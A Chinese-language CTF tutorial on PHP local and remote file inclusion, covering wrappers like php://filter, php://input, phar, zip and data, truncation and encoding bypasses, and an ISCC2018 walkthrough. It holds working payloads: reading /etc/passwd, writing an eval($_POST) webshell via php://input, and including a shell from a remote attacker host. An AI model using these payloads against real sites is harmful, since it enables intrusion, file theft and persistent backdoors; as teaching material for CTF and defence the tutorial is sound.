在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。
代码注入的一种。

危险函数

include()

  • 用到才加载
  • 错误为warning 继续执行脚本

include_once()

require()

  • 引入就加载
  • 致命错误 停止脚本

require_once()

只要包含的文件内容符合php代码规范,任何扩展名的文件都会被当作php文件解析

php.ini配置项

  • allow_url_fopen=on/off 允许URLs像files对象一样被打开
  • allow_url_include =on/off 允许包含URL对象文件

本地文件包含

直接读取目标机上的flag文件

demo1

  1. <?php
  2. $file=$_GET['file'];
  3. if(file_exists('/home/www/'.$file.'. php')){
  4. include '/home/www/'.$file.'. php';
  5. }
  6. else {
  7. include '/home/www/'.'home.php';
  8. }
  9. ?>

传参file=flag.php%00 相当于 include’/home/www/flag.php%00php
payload:http://www.example.com/demo1.php?file=flag.php�

PHP伪协议

file:// 访问本地文件系统
php:// 访问各个输入/输出流
参考:http://php.net/manual/zh/wrappers.php

file:// 用于访问本地文件系统

php://filter

  • 用法:php://filter 读取网页源代码
  • 条件(php.ini):allow_url_fopen=off/on
    allow_url_include =off/on 配置项都可以off
  • 利用:file=php://filter/read=convert.base64-encode/resource=index.php (filter resource筛选数据流 read设定过滤器)
    或php://filter/convert.base64-encode/resource=index.php

demo2:

<html>
    <title>asdf</title>
<?php 
error_reporting(0); 
if(!$GET['file']){
    echo '<a href="./index.php?file=show.php">click me? no</a>';
    }
$file=$_GET['file']; 
if(strstr($file,"../")||stristr($file,"tp")||stristr($file,"input")||stristr($file,"data")){
    echo "Oh no!"; 
    exit(); 
    }
include($file);
//flag: nctf{ edulcni elif_lacol_si_siht}
?>
</html>

php://input

用法:可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行。
条件(php.ini):

  • allow_url_fopen=off/on
  • allow_url_include=on
  • PHP版本小于5.3.0

demo3:

<?php
highlight_file('index.php');
/* view file: php.ini 
hint enough, might just take you seconds to do?!*/
error_reporting(0); 
include('anti_rfi.php');//rfi is forbidden!!!!!
$inc=@$_GET['file'];
@require_once($inc);

思路:题目代码禁止了远程文件包含(rfi)但给了提示查看php.ini
allow_url_include为on 可以使用php://input
在www.example.com/index.php?file=php://input POST shell.php代码

<?php 
fputs(fopen("shell.php","w"),'<? php eval($_POST["xxx"]);?>')
?>

写入代码成功后,用菜刀连接木马

phar://

利用条件:

  • PHP版本大于等于5.3.0

利用姿势:
将内容为一句话木马的1.txt压缩成1.zip,然后指定绝对路径,如下:
index.php?file=phar://D:phpstudy/www/1.zip/1.txt //绝对路径
index.php?file=phar://1.zip/1.txt //这里1.zip就和index.php同目录下

zip://

利用条件:PHP版本大于等于5.3.0
利用姿势:

  • 同phar打包文件
  • 转换为%23

index.php?file=zip://D:\phpstudy_pro\WWW\test1\test.zip%23test.txt
注:使用zip伪协议的方法与phar大致相同,但是zip伪协议不能使用相对路径,否则会包含失败。而且这里要将#编码为%23。

data:URL schema

利用条件:

  • PHP版本大于等于5.2
  • allow_url_fopen=On
  • allow_url_include=On

利用姿势:
index.php?file=data://text/plain,
index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b (base64常用于绕过waf)
index.php?file=data://text/plain,

远程文件包含

多见于混战模式。
指定第三方服务器上的php木马,拿到webshell,查看flag文件
存在远程文件包含的必要配置php.ini如下

  • allow_url_fopen=on/off 允许URLs像files对象一样被打开
  • allow_url_include =on/off 允许包含URL对象文件
  • 两个配置项都为on才能够进行远程文件包含

demo4:

<?php
$basePath=@$_GET['param']; 
require_once $basePath.'/action/m_share.PHP'
?>

同时:allow_url_fopen=on allow_url_include =on

利用:
http://www.example.com/demo4.php?param=http://www.xx.com/attacker/PHPshell.txt?
代码相当于:require_once ‘http://www.xx.com/attacker/PHPshell.txt?/aetien/m_share.PHP

  • 字符截断:问号后面的代码被解释为querystring
  • 一句话木马(shell.txt):

一些截断方法

%00截断

前提条件:
PHP < 5.3.4、magic_quotes_gpc=Off
利用姿势:
?Path=../../../../etc/passwd%00

路径长度截断

前提条件:PHP<5.2.8
利用姿势:
?File=flag.txt/./././././././././././././././././././
注:在Linux下4096字节时会达到最大值,在Windows下256字节时会达到最大值。只要不断重复./ 。

点号截断

前提条件:
PHP<5.2.8,只适用于Windows操作系统
利用姿势:
?File=flag.txt………………………………………………………

问号截断

前提条件:
未知,PHP>5.3的都可以尝试。
利用姿势:
?File=http://localhost/phpinfo.txt?
其原理是WebServer?后面的内容当作请求的参数,而phpinfo.txt不在WebServer里面解析,从而使用问号来实现伪截断。

#号绕过

前提条件:
未知,PHP>5.3的都可以尝试。
利用姿势:
?File=http://localhost/phpinfo.txt#

空格绕过

前提条件:
未知,PHP>5.3的都可以尝试。
利用姿势:
?File=http://localhost/phpinfo.txt%20

../和..绕过

利用URL编码:如%2e%2e%2f / %2e%2e%5c、..%2f / ..%5c等等 urldecode为../ / ..\、../ / ..\
利用二次编码:在一次URL编码基础上再进行编码
如:%252e%252e%252f / %252e%252e%255c

贪婪包含

场景:index.php?img=1.jpg
前提条件:未知
利用姿势:
index.php?=img=php://filter/resource=../flag.php|jpg

demo:iscc2018的一道题目
打开网页后 只显示一副图片 查看源代码显示

<img src="show.php?img=1.jpg">

img值可修改 想到文件包含 尝试php://filter读show.php源码

img=php://filter/read=convert.base64-encode/resource=show.php

无法读到源码 那么我们考虑到img原本读图片 我们用php伪协议指定类型为jpg

show.php?img=php://filter/resource=jpg/resource=show.php

查看源代码 可以看到show.php源码以文本显示

//show.php
<?php
error_reporting(0);
ini_set('display_errors','Off');
include('config.php');
$img = $_GET['img'];
if(isset($img) && !empty($img))
{
    if(strpos($img,'jpg') !== false)
    {
        if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) === 0)
        {
            die('File not found.');
        }

        preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
        if(isset($matches[1]))
        {
            $img = $matches[1];
        }

        header('Content-Type: image/jpeg');
        $data = get_contents($img);
        echo $data;
    }
    else
    {
        die('File not found.');
    }
}
else
{
    ?>
    <img src="1.jpg">
    <?php
}
?>

我们发现show.php包含config.php 我们用同样办法先把读取config.php源码

show.php?img=php://filter/resource=jpg/resource=config.php

同样查看源代码 以文本形式显示config.php源码

<?php
function get_contents($img)
{
        if(strpos($img,'jpg') !== false)
        {
                return file_get_contents($img);
        }
        else
        {
                header('Content-Type: text/html');
                return file_get_contents($img);
        }
}
?>

开始分析show.php img赋值要满足含有jpg字符串 同时resoure=jpg 否则会触发第一个file not found

第二个正则将第一个正则元组匹配的字符出那赋予matches[1]并且可以使用php://filter 而且我们可以使用|来分割flag.php与jpg(因为正则不会匹配|及后面字符串—)
因为flag.php在上级目录 所以最终payload

show.php?img=php://filter/resource=../flag.php|jpg